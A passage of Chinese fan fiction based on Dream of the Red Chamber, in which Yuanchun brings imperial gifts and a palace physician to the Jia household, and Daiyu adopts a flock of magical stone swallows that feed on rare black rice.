惜春伏在画谱上比划了两下，道：“这里已有梅树，再栽杏树，两种树打起架来，反而不美。”
探春一想，也点头称是，叹道：“往常看府里假山花石，只觉寻常，不想里面还有这么多讲究，一草一石不可多也不可少，否则就变了味。”
宝玉已听了半晌，此时忍不住凑过来道：“妹妹们在说什么？我怎么听不懂。”
他一出声，叫黛玉等人吓了一跳。探春抚着胸口道：“二哥哥何时还爱听人墙角了。”
宝玉道：“你们说的热闹，又没避着人，我自然听到了。”
他凑过去看惜春手上的画谱，惜春嫌热，往旁边挪了挪，腾出位置来。宝玉撩了衣摆坐下，道：“这是哪里的园子？”
黛玉翻着手中的书页，头也没抬道：“是南边的。”
宝玉又问是不是扬州，黛玉说是苏州的。宝玉彻底打开了话匣子，问了许多问题，直叫黛玉答的口干舌燥，抿了一口水道：“你要是感兴趣，我说几本书，你找来看了，再来同我们说。”
宝玉忙问是什么书，又道：“只要不是劳什子经史子集的枯燥东西，我都愿意看的。”
探春掩唇而笑，“二哥哥话被说的太满。”她跟着黛玉看了些说园、造园的书，初读起来十分枯燥，还是和这画谱，才渐觉其中趣味。
以二哥哥的性子，想来是净不下心的。
黛玉激他，道：“我给你说的正是枯燥无味的东西，你当是不爱看的，便不要同我们凑这份热闹了。”
宝玉好不容易搭上话，哪里肯轻易放弃，立刻道：“你只管说，我肯定爱看。”
黛玉便说了几本，宝玉记不住名字，央黛玉写下来，黛玉只好依他。写完后，宝玉吹干墨迹，
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小心折起来放到袖子里。
探春见状打趣道：“二哥哥这么仔细，不知道的还当是得了什么宝贝。”
宝玉呆笑了两声，捂着袖子道：“林妹妹字写得好。”
黛玉并未在意探春的调侃，他这样正经一说，反而让她红了脸，轻啐道：“又不是正经写的，哪里就好了！你自个儿正经练一练，也能写好。”
宝玉道：“那你再给我正经写一副，我回去照着练。”
黛玉白了他一眼，道：“听听他说的胡话，正经练字都是照着名家字帖，哪有像这样随意的。你学歪了，写的不像样，拿不出去见人，倒是我的不是了。”
一边说，她一边还要把刚才的纸讨回去。宝玉自不肯给她，两人搡来搡去，宝玉身子一歪，撞到了迎春，迎春“哎”地一声轻呼。
贾母闻声看过去，见迎春蹙眉捂着胳膊，黛玉和宝玉拉扯，还以为他们闹起来了，“刚才还好好的，怎的动起手来了？！”忙让鸳鸯去把他们分开带过来。
不一会儿，鸳鸯忍着笑把几个人带到贾母跟前，“老太太，二爷和几位姑娘是闹着玩呢！不是动手。”
“真的？我怎么听着二丫头呼疼？”
探春连忙解释了来龙去脉。贾母方放下心来，又要了宝玉手上的纸张看过，笑道：“这些书都是写的江南置园之法，要是照着这上面的法子布景，得从南边特特运石头木材过来才行。”
宝玉挨在她身边问：“老太太也看过这些书？”
贾母笑道：“不只看过，书里提到的东西，我样样都见过。”
她摸着宝玉的头发回忆道：“咱们家里祖上是金陵的，我从前就是在那些园子里玩大的。南边的园子跟北边不一样，北边的园子朗阔，都是直来直去的，南边的小巧，弯弯绕绕，最适合藏人。”
“从前家里姐妹们喜欢在园子里捉迷藏，把跟着的人赶走，找个地方躲起来，一藏就能藏一天。有时候藏得太好了，找人的人找累了，自己跑去玩了，没被找到的人又不敢出来，一个又害怕，一边躲着一边哭。挨到天黑，满府下人打着灯笼找人，出来还要挨一顿罚。”
黛玉等人听的入神，冷不丁听人笑问：“我猜那个躲着不出来还挨了罚的人是老太太不是？”
贾母看了宝玉等人一眼，摇着手指着进来的王熙凤笑骂道：“你心里清楚，何必说出来？”
王熙凤打了下嘴巴，道：“是我该打，躲着哭的肯定不是老太太，老太太最是英明神武的。”
黛玉等人偷偷抿着嘴笑。
贾母又气又笑，“你再说两句，我的名声就叫你败完了。”
又叫鸳鸯：“赶明儿你专门找个人在我屋外头盯着二奶奶，她一来就让人给我报信，免得她又听到什么秘密话。”
鸳鸯利落应声，笑着道：“老太太放心，保管叫二奶奶一个字都听不到。”
王熙凤道：“老太太不叫我听，总要让我说吧。”
贾母道：“你说，可不许再说我了。”
“不说老太太。”王熙凤喜道：“我是给老太太报喜来了。”
“什么喜？”
“大妹妹回来了！”
44.第 44 章
一家子人在荣禧堂相聚，元春见了贾母红着眼眶就要下拜，贾母忙亲自把她搀起来。元春是领了旨意回来的，乃是天家使者，拜不得她。
元春也知自己身后还跟着一干人等，字字句句、行为举止都被人看在眼里，不能妄动，也不坚持，握着贾母的手落下两滴泪来。
贾母擦了擦眼泪，问：“可见过你父亲母亲了？”
元春道：“已见到母亲，听闻父亲不在府中。”
王夫人肿着眼上前道：“老爷今日在工部应卯，已叫人往那处送信了。”
邢夫人道：“大姑娘可要见一见你大伯。他许久不曾见你，也惦念着你呢。”
贾母拍着元春的手，斥道：“他就在府里，得了信不会自己过来，还要人去请？”
邢夫人神情讪讪，退下不言。
同元春一道来的宫人中，有个身形清癯，面色红润，留着一把山羊须，背着一个药箱的老者咳嗽了两声。
元春得了提醒，抽出手来，道：“我此次出宫是奉了皇后娘娘懿旨，皇后娘娘仁慈，体恤我进宫后有多年不曾见过家人，允我多留一段时间与父母亲人共叙天伦。但尚有职责在身，该先宣娘娘旨意。”
“这是应当。”贾母领着人便要跪下听旨。
元春忙道：“娘娘怜贫惜弱，特许站着听旨。”
贾母便肃容垂首，邢夫人王夫人立于其左右，王熙凤和李纨带着三春并黛玉站成一排，宝玉又紧挨着黛玉。
旨意便是赞贾家门著勋庸、体仁宽厚云云，赏赐内眷金银锭子、如意经书等等，与贾母从前接到过的旨意没有两样，唯有嘉许之言中有一句“上体圣意”稍显古怪。
没等贾母细想，元春宣读完毕，众人谢恩。
元春笑着叫起，眼神掠过迎春三人，落在黛玉身上，笑着道：“这想必就是林家妹妹？”
黛玉一怔，元春道：“娘娘有一道单独的口谕给林妹妹，妹妹且上前来。”
李纨轻轻拍了拍她的后背，道：“去老太太那儿。”
黛玉往前，在贾母身边站定。元春道：“上皇病重，陛下和娘娘至纯至孝，夙夜忧思，亲奉汤药而不能使上皇稍减苦痛，幸得林氏黛玉献上良药令上皇龙体康愈，娘娘心中甚慰，故特赐妆缎、倭缎、闪缎......各一匹，福寿双全玉佩一对、金丝香木嵌蝉玉珠一串......”
邢夫人听得两眼发光。黛玉得的赏赐比她们多多了，也值钱多了，她不住在心里盘算其中价值，眼睛都红了。
“......赐冰例一份。”
贾母脸皮一抖，不禁抬头，试图从元春或宫人脸上看出些端倪。元春并不知道府里因冰起的争端，自古立夏时，宫中便有启冰赐文武大臣的惯例，这份赏赐并不稀奇，与前面那些东西相比，也不起眼，她自然并未露出异样。
贾母想的却多。今年贾家是没有收到赐冰的，什么惯例都没有贾家的份。
鸳鸯那日去请玉儿，事后便悄悄跟她说玉儿房里凉爽，却是没有用冰，她便知道赵姨娘的吵嚷不是无的放矢。之后她便裁减了各处的用冰份额，稍做腾挪，又多叫几个丫头到她房里消磨时间。
她只当这事过去了，好端端的，皇后娘娘怎么会在赏赐中添上这个？旨意是皇后娘娘下的，但元春先前提到帝后侍疾，那这些赏赐，到底是皇后娘娘的意思，还是陛下的意思？
再细想，贾母只觉其中大有深意，若是陛下之意，说明府里发生的事全在陛下眼中。贾母心中发寒，背上沁出一层汗来。
元春不知贾母想了许多，赏赐极为丰厚，她直念了半盏茶的功夫才念完，口舌发干，不由清了清嗓子。贾母回过神，命人替黛玉接过上次，黛玉行止有度，从容谢恩。
元春见她宠辱不惊，心下喜欢，又道：“娘娘听闻上皇所用之药原是你调养身体之用，还遣了御医替你看诊。”
她侧身道：“这位是陈御医，是专为娘娘请平安脉的。”
黛玉心中不乐，上回宫中来索药，她回头想过，就知道定然是那个王太医透的消息，这回又来一个陈御医，谁知回去又会说什么！
宫中的人是不讲理的，她身上有秘密，已漏过一次，不想再让人察觉第二次。舍了半瓶子银花蜜没什么，她不想牵连爹爹和外祖母家的人。
但人在面前，她也无法拒绝。
犹豫着坐到陈御医对面，黛玉悄悄运转体内灵力。她不能过于健康，会显得她上次所言不实，手里定还藏着好药，也不能过于虚弱，要比常人弱，但还能支撑的样子。
这种感觉她知道，六岁之前，她都是这么过来的。黛玉回忆自己从前的感受，慢慢收回灵力，往深处压制。
“请林小姐换一只手。”陈御医诊完右边，又搭左边的脉。
半晌，他收手道：“小姐是胎里带来的弱症，右脉浮大，心肺阳气不能收敛，精血耗散于外，是否常有咳症？”
黛玉点头，道：“是，一年中有半年是咳的。”
贾母焦急道：“这要如何治？之前王太医也没开出方来，只说还照着食补。”
陈御医也听过这事，他也是为这个来的，“我也不知早先为小姐看病的大夫留下的是什么食补方法，想来缺了主药以后，效力应该大不如前了。”
黛玉垂下眼，点头摇头都不合适，只好不接话。
这副情状落在宝玉眼中，便是御医说的是真的，他登时心焦，急得眼珠子直转，心口发闷，只恨不得病的是自己，待要挤上前去问一问，王夫人将他拦住。
王熙凤扯住宝玉的袖子，低声道：“宝兄弟莫急，御医定有法子的，待他想一想，你别去添乱。”
陈御医试探了一句，并没有深究，道：“小姐心肺不足，不能只靠食养，还需用药。”
贾母道：“还请您开药方。”
陈御医依言，又叮嘱黛玉，心血不足要少思少想，不可劳神，多多休息，不可熬夜，天冷时要多注意保暖，不可贪凉等等。
他事无巨细，比王太医要靠谱多了，贾母喜得连连点头，黛玉听的不甚专心，只面上跟着应和。
看诊事毕，黛玉收了方子。元春在同王夫人说话，留了份心神关注这边，见陈御医收好药箱，也打住话头。
虽说贵人许她跟家人叙话，但她肯定不能在此消磨过长时间。
惦度着时间，元春对贾母道：“时辰不早，我也要回去了。我在宫中一切都好，如今升了司言，在皇后娘娘身边当差，娘娘宽厚，待宫人和善，祖母和母亲不必挂念我。想是等不到父亲回来了，劳母亲跟父亲说一声，就说女儿问她安好。”
王夫人低头抹泪，贾母有一肚子话想问，却不能问出口，颤着手把住元春小臂，道：“虽是娘娘宽仁，你也不要失了分寸，当恪尽职守，为娘娘分忧解难。”
元春道：“遵祖母教诲。”言罢又嘱咐宝玉，要认真读书，将来也好为陛下和娘娘效力。
宝玉呐呐点头。
元春又挨个同王熙凤、李纨、三春等人说话，连邢夫人也照顾到了，可谓事事周全，处处留心妥帖。
到了她要走时，王夫人和贾母一直送到二门外，不能再送之后才回转。
元春走
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了有一炷香的功夫，贾政骑着马匆匆赶回来，听到人已走了，不由跌足叹息。
贾母喝了口茶，润了润嗓子，见他唉声叹气的，斥道：“不必做小儿女情态，元儿又不是没有再出宫的时候。”
王夫人拭泪的手一顿。后妃无故不得出宫，老太太这话岂不是说元春没有希望了？
“老太太的意思是？”王夫人试探着问。
她眼珠子一转，贾母就知道她在想什么。
贾母沉声道：“元儿被提为司言，专掌宣传启奏，说不得就还要再代娘娘宣旨。”
“母亲说的有理。”贾政道，遗憾之情稍减。
那又有什么用？王夫人暗道，不还是个女官，说出去也就比女史好听一些，算是有了正经品级，不是湮灭于后宫中。可归根结底还是伺候人的，对宝玉根本没有助益。
她希望元春能当妃子，当初送她参选，不就是奔着这个目的去的？
元儿在如今在皇后娘娘身边，近水楼台，机会更多，要好好把握才是。
贾母见她的表情，就知道她没把自己的话听进去。她这是一门心思想让元春飞上枝头，贾母从前也有想法，所以才没有阻止元春进宫。但今时不同往日，陛下是盯上他们家了！
陛下连内宅发生的一点小事都知道，他们还敢在眼皮子底下搞小动作，明摆着是找死。
政儿、赦儿是没本事的，支棱不起来，珠儿早逝，不说也罢。琏儿有小聪明，却经不起大事，有些糊里糊涂的。这里头也怨她，只能说当初打的算盘，终究是人算不如天算。
而宝玉，贾母心中一叹，二儿媳该精明的时候犯蠢，连累了宝玉。宝玉能不能成材，端看上面有没有那份肚量，最好还是不要心存希望。
数来数去，满府还能指望的只有一个贾兰。可他还不小，能不能养活还要另说。
上次一叙，敬哥儿恐也跟她离了心。东府还有个要命之处，一着不慎，就是牵连九族的大祸。
贾母只觉前狼后虎，脚下是万丈深渊，头疼不已，一急之下，当天人就病倒了。
宫里刚来了人，她就生了病，唯恐贵人知道了，以为她心怀不满，贾母强撑着不肯让人请大夫。
贾政和贾赦不解，却实在拗不过老太太，只好轮流侍疾。
两人在别的方面不足，却孝顺，贾母受用，病也好了些。只是元春来后，上皇似乎意识到自己忘了让他身体康复的功臣，紧跟着也派人给了赏赐，之后又有甄太妃，吴太妃等跟着凑热闹。每次来人贾母都不得不撑着病体见客，病情拖拖拉拉一直不见好。
门庭冷落许久的贾家在这一波流水的赏赐中重回大众视野，每日都有拜帖递上。
贾母病着，实在不宜劳累，只接待了一些不好拒绝的老亲，便借口连日劳累身上不爽，闭门谢客，倒是挡下了许多趋炎附势的小人。
之后因天气炎热，当今带人往行宫避暑，京中冷清下来，贾家才彻底沉寂。
再说黛玉这里，一茬一茬收了许多礼也不高兴。只因每个上门的客人来都要找借口跟她说两句，虽每每都是夸赞她，但她知道这些人都并非真心，她好似不是个人，而是供人观赏的稀罕物，让她十分不适，果然沾染上皇家就是麻烦。
青雀提着只燕子进来，听到黛玉的感叹，也跟着点头，“麻烦！”
何嬷嬷笑着打趣她：“现在不向往那天下最尊贵的地方了？”
青雀摇头：“这里挺好的。”
黛玉丢下书，问：“你拎的是什么？”
青雀揪着燕子的翅膀晃了晃，“是零陵燕。”
45.第 45 章
那鸟儿说是燕子，却长的不像，只有巴掌大，背羽并非墨色，而是一种极为鲜艳的枣红色，头上还有一撮翘起的跟山石颜色一样的翎羽。
青雀掐着它的翅膀根一抖，那鸟儿身体颤动，翅膀又挣扎不动，胡乱扑腾着回身啄她的手。
青雀不疼不痒，嘿嘿笑着伸手逗弄它。越逗它越生气，凄厉叫着，爪子不住弹动，胸前的绒羽都炸开了，头上翎羽如有生命一般卷成一个圆，张大鸟喙，咬住青雀一块肉，狠命甩头，竟是跟兽类撕咬猎物一般。
何嬷嬷见了，稀奇道：“这鸟好悍勇的性子。”
青雀嬉笑着捏住它的鸟喙，将它拔开，也不松手。这下它是头也不能动，翅膀也不能动了，叫都叫不出来。
黛玉看不过去，打开她的手，“你与它是族类，强过它许多，为难它做什么！”
说着伸手轻柔地将小鸟从青雀手中解救出来。
“姑娘小心！”何嬷嬷怕那鸟啄她，伸手要拦。却见这只鸟全不复刚才的凶悍，小身子抖成一团，颤巍巍窝在黛玉掌心中，黛玉拉开它的翅膀看它有没有伤着，它也不反抗。
见它没受伤，黛玉就给它揉了揉翅根，它甚是乖巧，还知道自己打开翅膀，方便黛玉动作。
何嬷嬷啧啧称奇。
青雀瞪大了眼睛，不敢置信，撅起嘴道：“谁跟它是同类！姑娘不知道，它先前特别凶！还在厨房里偷东西，才被白妈妈捉住的。它力气可大了，一嘴巴能将木头啄个洞。”
“叽叽~”
虚弱地鸣叫着，那鸟儿身子歪倒，贴着黛玉手心蹭了蹭，一副依赖的模样。
“好啊！你还会见人下菜碟！”青雀插着腰怒气冲冲指着它，要不是它在黛玉手上，她立刻就要扑过再打两下。
何嬷嬷忍俊不禁，道：“你们俩像是争宠的妃子似的，一个凶悍却处处吃亏，一个柔弱实则占尽便宜。”
黛玉好笑，这鸟儿颇通人性，像是能听懂青雀的话，看它这一系列反应，真真是有两幅面孔。
黛玉问：“你说它嘴巴厉害，被啄伤了没有？我看看。”
青雀满腔委屈顿时消失无踪，瘪着嘴把手伸给黛玉看。奈何她知道那鸟的厉害，在手上特地覆了层灵力，连半个红点都没留下。
何嬷嬷忍者笑道：“要这么看，还是青雀欺负它，这可是有嘴都说不清了。我看这个是惯会装柔弱的，这样的我见多了，还请青天大老爷明辨是非，不能听信它‘一面之词’，还青雀一个清白啊~”
一咏三叹，说完还似模似样朝黛玉拱手。
那只鸟儿也跟着“叽叽”两声，似在附和，又似在争辩，只有青雀举着手满面茫然。
何嬷嬷一叹，道：“完了，被告是个笨嘴拙舌，只会动手，不会动口。”
黛玉闷笑出声，笑够了，她道：“我也不是是非不分的糊涂人。”
“青雀。”
“嗯？”
“你说它在厨房里偷东西，偷的是什么？”
青雀大声道：“它偷白妈妈的黑粳米！”
一说完，那只鸟儿蹦起来扇着翅膀“喳喳喳”直叫，黛玉险些握不住它。
“它说什么？”看它这激动的样子，黛玉疑惑道。
“我不知道。”又不是同一种鸟，她听不懂，“但它一定是在骂我！”
青雀张嘴“啾啾”着骂回去，一人一鸟嗓门一个赛一个高，何嬷嬷哎呦着帮黛玉捂住耳朵，“这可真是吵人的很。”
这厢吵得激烈，门外白妈妈脚悬在半空中，又默默收了回去，深感来的不是时候。
“妈妈是找姑娘有事，怎么不进去？”
芙蓉提着一篮子干花，正好撞见她犹犹豫豫站在门外。
“我听着姑娘屋里有事，就不......”
何嬷嬷打了帘子出来，道：“妈妈进来说话吧。”
白妈妈踟蹰了一下，跟芙蓉进了屋。青雀和零陵燕吵累了，一个蹲在桌上啄羽毛，一个抱着胸扭头互不搭理。黛玉笑着拉青雀的袖子，“你渴不渴？”
青雀放下手，给自己倒了杯水吨吨吨。
芙蓉放下花篮，看到桌上的零陵燕，“哟！这是哪儿来的石燕？怎么就一只？”
黛玉用小杯子给它也倒了杯水，听到芙蓉的话，道：“石燕？不是叫零陵燕吗？”
她看向青雀，青雀摇头，指着白妈妈道：“白妈妈告诉我的。”
白妈妈浅浅笑着，柔声道：“两个都是它的名。”
芙蓉拿开杯子，道：“这东西怕水。它看着是活物，实际上是一种石头化成的，因形状像燕子，所以叫石燕。相传有人在舜帝陵见过这种燕子，舜帝陵又叫零陵，因此它得了另一个名。不过这也是后人附会之说，舜帝陵不封不树，无处可寻。”
随后又低声道：“不过这东西通常是成群结队的，这只是长途跋涉过来落了单？”
青雀道：“难怪我听不懂它的话。”
黛玉：“......那你还同它吵的起劲。”
青雀鼓着脸颊，“我气不过嘛。”她盯着桌上的燕子道：“这么说它也是一种妖怪？”
芙蓉摸着它的翎羽道：“算是精怪的一种，但它寿短，是难成妖的。”
白妈妈捧着一个荷包递给黛玉，道：“这是给它的。”
黛玉接过，拉开袋子，里面是一颗颗黑色的米粒，一粒有指甲盖大小，表皮泛着玉色的光泽。
“它虽是石头所化，飞舞起来后，也同寻常动物一样要吃东西的，一般的鸟食它不吃，姑娘可以拿这个喂它。”
黛玉愣了几秒才反应过来：“我没说要养它呀。”
“就是！”青雀一挺胸，“谁要养它！”
白妈妈一怔，那只石燕“叽叽”直叫，扑扇着翅膀落在黛玉胳膊上，青雀挥手赶它。
石燕毫不示弱，扇着翅膀回击，两个又打做一团，羽毛乱飞。芙蓉一手一个把人和鸟拎开，喝道：“都老实点！”
何嬷嬷给黛玉摘落在头上的羽毛，“它是个石头也会掉毛？这要是再化成石头，身上该不会少一块吧？”
芙蓉没说话，像是在想什么。
白妈妈道：“姑娘不想养，我这就把它带走。”
石燕可怜兮兮地盯着黛玉。黛玉心软，问芙蓉：“它的族群在哪儿？”
芙蓉道：“我也不知。”
“罢了，既是落单，也是可怜，就先留在这儿吧。这米要怎么喂？”
白妈妈道：“黑粳米饱腹，食之不饥，姑娘两天喂一颗就好了，它也不用喝水，不麻烦的。”
交代完，白妈妈便回了厨房，青雀挣脱芙蓉的手，道：“难怪它在厨房跟饿了好几顿一样，这会儿却不受食物诱惑，感情是吃饱了。”
黛玉撵开黑粳米外面的壳子，里面的米肉是青紫色，散发着淡淡的青草气息，她尝了尝，没什么生米味道，满嘴是都是稻香，但口感比较粗，耐嚼。
何嬷嬷哭笑不得，“说是给它吃的，姑娘倒先尝上了。”
黛玉咽了米，道：“上回宝玉昏
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迷的时候却没有因饥饿而消瘦，是不是就是吃了这种米？”
“姑娘才知道？四月八白妈妈做青精饭供佛诞的时候没跟你说吗？”芙蓉手一扬，石燕滑翔着落在架子上，“她的青精饭中搀了碾碎的黑粳米和悉陀香灰，有驱邪饱腹的作用，这才是最早流传，最正宗的青精饭。其他的青精饭都是用旱莲草的汁染的米做的。”
黛玉心道难怪。
-*
石燕在黛玉这里安了家，它也不筑窝，每日就在黛玉房里休息，醒了或在瓦上，或在树上，仰天鸣叫。
它跟青雀不对付，青雀烦它总叫，两只见面必定要掐一架。青雀比它厉害，石燕常吃亏，毛都掉了不少。黛玉劝了几次架，见青雀没下重手，石燕越战越勇，索性随两只去了。
掐了几日，有一天早上起来，黛玉没见到红彤彤一团，找了半日，还是不见踪影，以为它是离开了。谁知第二日又见到它，它还将装黑粳米的荷包叼了出来。
黛玉以为他是饿了，喂了它一颗米。又过了一日，它又来讨食，黛玉揉了揉眼睛，不由疑惑，“昨天不是刚吃过吗？怎么又饿了？”
“叽叽~”
石燕歪了歪头，眼睛骨碌碌直转。黛玉伸手想摸它的肚子，一团红色斜地里窜出来猛地撞上石燕。
“叽——”
那只石燕在空中翻滚了几圈，眼看着要落进铜盆中，它惊慌失措地扑棱着翅膀险险擦着水面飞起来，几根绒毛飘飘荡荡落在盆里，一沾水，就融成黄泥。
那只石燕不住地叫，到处乱飞了一阵后在半月桌上落下，黛玉都能从它毛绒绒的脸上看到如释重负的表情。
撞它的石燕趾高气昂叽叽叫了几声，它就心虚地将头埋进翅膀里。
青雀听到叫声冲进来，“它又干了什么！看我不......”话说到一半，她看看架子，又看看半月桌，道：“怎么有两只？”
黛玉朝架子上的石燕伸手，它飞下来，黛玉喂看它一粒米，点了点它的头，替它感到开心：“看来你找到你的族群了。”
新出现的石燕是一个开头，之后陆陆续续又更多的石燕找上来，来了也不走，就留在她这里蹭吃的。
原本是两天喂一次，石燕多了，谁吃了谁没吃，黛玉也分不清了，索性谁来讨就给谁喂。也不知道它们是真饿还是假饿，总之很快白妈妈给黑粳米就不够了，黛玉只能又去向她讨一些。
白妈妈那里还留着一个荷包，她从里面数出来十八粒米，道：“这些我留着来年做黑饭，余下的姑娘都拿去吧。”
黛玉见状，猜测这米不易得，便不肯要了，“我原不知道它这般珍贵，妈妈还是自己留着，我再问问芙蓉姐姐，它们还能吃什么。”
白妈妈道：“算不得珍贵，现在世道不如以前，它种子种不出来，这是我以前存下来最后的一些了。”
如此更不能要了。
“用它不过是我供奉佛祖的心意，就是数着用，这些用上五年也就尽了，不如现在舍给它们，佛祖知道了也不会怪罪的，姑娘收着吧。”白妈妈也不会劝人，只一个劲儿把荷包塞给她。
黛玉道：“妈妈手里可有种子。”
“这米不脱壳就能做种。”
“正好我要种被的，试着给妈妈也种一种它。”
白妈妈笑了笑，“劳烦姑娘。”
黛玉带着荷包回来，立刻就有几只石燕飞下来讨食。黛玉愁眉不展，没像先前那样大手笔来者不拒，她轻轻驱赶它们，“等我先数一数再喂你们。”
46.第 46 章
数完黛玉深觉坐吃山空不是办法，一荷包黑粳米大约只够撑半个月的。她叫来青雀，挨个捉着石燕在它们身上做上记号。
“以后每只只能吃一颗，知道吗？你们身上都做了标记，改天我给你们做一个册子，照着册子点名，休想再蒙混过去！”黛玉对风时道。
风时是她给最先来的那只石燕取的名字。据她观察，这只懂人言又极有勇性的石燕并不是如她先前猜想那样是只迷路落单的可怜燕子，恰好相反，它体型不是最大的，却是这群石燕的头领。
自它唤来的石燕越来越多之后，每次与青雀追逐打闹时便不再是一面倒的输了。它还懂兵法，每每指挥着燕群，用上声东击西、瞒天过海等等战术，打到现在，青雀仗着个头和不怕叨，才跟它们战得五五开。
比如现在，被按着做完记号后，风时似乎觉得屈辱，把仇又记到了青雀身上。它叫了两声，所有石燕列成三队，呈三角之势，攻向青雀。
青雀尖叫一声，矮身一蹲，躲过飞扑，随后脚步一滑，半蹲着旋了几圈便已到门口。
空中的三队石燕冲势太猛，眼见着快要撞到一起，只见各自领头的石燕一只翅膀一振，向上拔起，与下面的两队石燕错开。剩下两只则一左一右斜身，堪堪互相擦着翅膀尖错身而过。
避免了撞上的结果后，所有石燕头尾相衔，刘畅在空中甩尾，井然有序列好队，等着风时一声令下，再次发动攻击。
青雀早已抓住帘子，在它们扎来之前，胳膊一甩，钻出门去。她甩帘子时用了巧劲，门帘发出破空声，像是被人拿在手里大力抽出，卷向领头的风时。
风时“叽”地长鸣一声，不闪不避，领着燕群扎进门帘中。随后，“叽叽”声四起，柔软的布抵不过锋利的爪和坚硬的喙，不出几息，下半截就碎成条条布头，徒留上半截完好的布头挂在门上随风摆动。
石燕们一窝蜂冲出去，在青雀一边笑一边叫着“来呀~”的挑衅声中更加愤怒。
不一会儿，满院子都是笑声和叫声。
何嬷嬷从外边进来，拽下一截碎布，无奈道：“姑娘也不管管它们，整日里比戏台子还热闹，门帘子都换了几茬了！这几日让它们叫得我头疼病都要犯了。”
黛玉道：“青雀高兴，她也不把他们带到院子外面，嬷嬷就随它们吧。等玩够了自然就停下了。你听，现在就不叫了。”
何嬷嬷按了按额头，道：“是不叫了，这会儿八成钻到哪儿跟那群鸟儿捉迷藏。好好一个姑娘家，现在整天跟个泥猴子似的，每回闹完了回来衣服不是脏了就是破了，一天两身不够她换的。”
黛玉问：“她还有衣裳吗？先前宫里赏赐的布匹多的很，我一个人也用不了许多，放着也是长霉点，再给她裁几身吧。”
顿了一下，她继续道：“姐姐们和嬷嬷也做几身，再有院里扫洒的丫鬟婆子们，也每个人做两身新衣裳吧，她们有时要往各处去，天热，多两身好换洗。”
“姑娘大方，那些好料子倒不好赏她们的，太扎眼。咱们带来的布匹里有些青缎，还有几匹红绸，我一会儿找出来叫针线上的人做。”
黛玉点头：“嬷嬷安排就是。”
何嬷嬷将门帘抖了抖，卷起来叠了叠就出去了。青雀在廊下上蹿下跳，绕着柱子溜石燕，几个二三等丫鬟腿上放着小笸箩，理着线头，打着络子看热闹，看到惊险处，时不时惊呼出声，再给青雀加油打气。
何嬷嬷站着看了一会儿，心道改天还得找人来补一补柱子，这些石燕下嘴可厉害得很。
“何妈妈好。”丫鬟们见何嬷嬷过来，连忙起身。何嬷嬷点了点头，将门帘递给她们，道：“新换下的，你们拿去吧。”
几个丫鬟七嘴八舌应是。一个梳着双丫髻，圆脸杏眼的丫鬟捧着一个攒心梅花、一个金丝黑心方胜、一个双钱结的络子给何嬷嬷，道：“嬷嬷前日说姑娘身上的络子旧了，我新打了几个给姑娘用，嬷嬷看看好不好。”
何嬷嬷拿过来看了看，道：“你倒是手巧。”丫鬟见她收了，满脸笑容。
何嬷嬷道：“姑娘说要找缎子给院里的人做两身衣裳，你去叫几个力气大的婆子来跟我去拿布。”
那丫鬟连忙放下笸箩，跟上何嬷嬷，余下人又坐下，有人往柱子那儿看了一眼，见青雀带着一群鸟儿钻到树下去了，听不见她们说话，便含酸道：“就她殷勤。”
倚在廊柱上理着线头的丫鬟道：“她是有心，你要是不服气，也打两个络子送给林姑娘用，何必在背后说闲话，叫人听到了，平白带累我们。”
另一个人把门帘铺开，从笸箩中找出剪子，将底下的碎布剪下来放到一边，也跟着道：“就是！林姑娘人又好，又和气，还大方，事也不多，不爱使唤人，在这里做活，既清闲又总能得赏，再没有比这里更好的了。”
“你要是想出个头，用些心时时留意林姑娘的缺什么少什么比在这里说人怪话强。她得了好也该她的，咱们这些人都听到了何嬷嬷的话，不就只她一个想到要打络子吗？”
说酸话的那个人扯着线哼了一声，“林姑娘什么都不缺，做的再好，咱们也近不了她的身，还不是个二等丫头。”
拿剪子的丫鬟道：“其余主子那儿不也一样，早有贴心的人。你就是去了宝二爷房里，他身边也有先来的人围的死死的，个个满肚子都是心眼子，你也争不出个什么。再说，人家本来就是从家里带来的人，当然更亲近。林姑娘早晚要回家的，你就算出了头，来日还能把你带走不成？不如安安分分的，有什么东西总也少不了你的。”
“就说这坏了的门帘，上面这一大块都是好的，洗一洗，拿回去给家里人做裤子、鞋面子、里头穿的夹衫都好使，你也没少分。青雀姑娘脏了坏了的衣服，都是好的，你不也得了一套，你妈拿着改了改，给你妹妹穿了，高兴得跟什么似的，说是比富家小姐穿的都不差，往后还要传下去。”
正是有这些好处，听松园的丫鬟婆子们才对青雀和石燕们的吵闹不以为意，私心里还巴不得他们多闹闹，能得更多东西。
那人低着头，半晌道：“我也没说什么，你们一个个都有通篇的大道理来教训我。”
那丫鬟气道：“我们一片好心，你还不领情！若不是都相熟了，怕你被撵出去，再来个不知深浅的，谁耐烦同
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你说这些掏心窝子的话！你不想听就算了。”
说完她不在理那人，对另一个人道：“碎布头你要不要？”
“要的，攒下的正好夹鞋面子。”
说酸话的人也想要，但自知理亏，拉不下脸，只把头撇到一边，不看着她们分布头。
不过完好的布她还是要的，做门帘的布耐磨损，她家里有个弟弟，正是人嫌狗憎的年纪，一身衣裳穿不了半个月就破了，正缺耐磨的裤头。犹豫了一会儿，她期期艾艾凑过去，那两人也没为难她，照旧分了她那一份。
-*
青雀和石燕嬉闹了一阵，双方休战，石燕们蹲在墙头，一个个挨着，互相梳理身上的羽毛。
芙蓉见了，抬头看了看天上挂着的太阳，再看它们时，眼中多了些怜悯。
她仰头对风时道：“从前无人给石燕取过名字，你是第一个。有了名就有了羁绊，可惜......”
“叽？”风时歪了歪头。
芙蓉摇头：“罢了，说了你也不懂，多跟青雀玩一玩吧。”
“姐姐在跟风时说话？”
风时飞下来，要啄她手上的黑粳米，黛玉忙捂着道：“不是给你吃的。”风时又蹭又叫，黛玉抵不住，喂了一颗，“只能吃一粒，多了没有。”
风时仰头吞下，心满意足，墙上其他的石燕顿时蠢蠢欲动。黛玉把手藏在身后，道：“真没有了，这是做种子的，等种出来，你们爱吃多少吃都有。”
风时充满警告地叫了一声，石燕们顿时老实了。黛玉松了口气，夸它：“风时真有威严。”
风时得意地昂起头，扇了扇翅膀，落回墙上，给小弟们训话。
黛玉趁机对芙蓉招手，蹑手蹑脚领着人离开。
芙蓉笑道：“姑娘这般，倒让它们拿捏住了。”
黛玉道：“它们只吃这个，也不能喝水，也怪可怜的。”
“这是它们的天性，没碰到姑娘，它们连米都没得吃。”
那不是更可怜？
黛玉鼓起脸，又泄了气，愁道：“芙蓉姐姐知不知道黑粳米怎么种？我试着给种子催芽，一点动静也没有。白妈妈说她以前照僧人们的方法种过，也种不出来。”
芙蓉摇头，“我听过见过也吃过这种米，唯独没种过，姑娘不如问问白鹤。她见识比我多，兴许知道。”
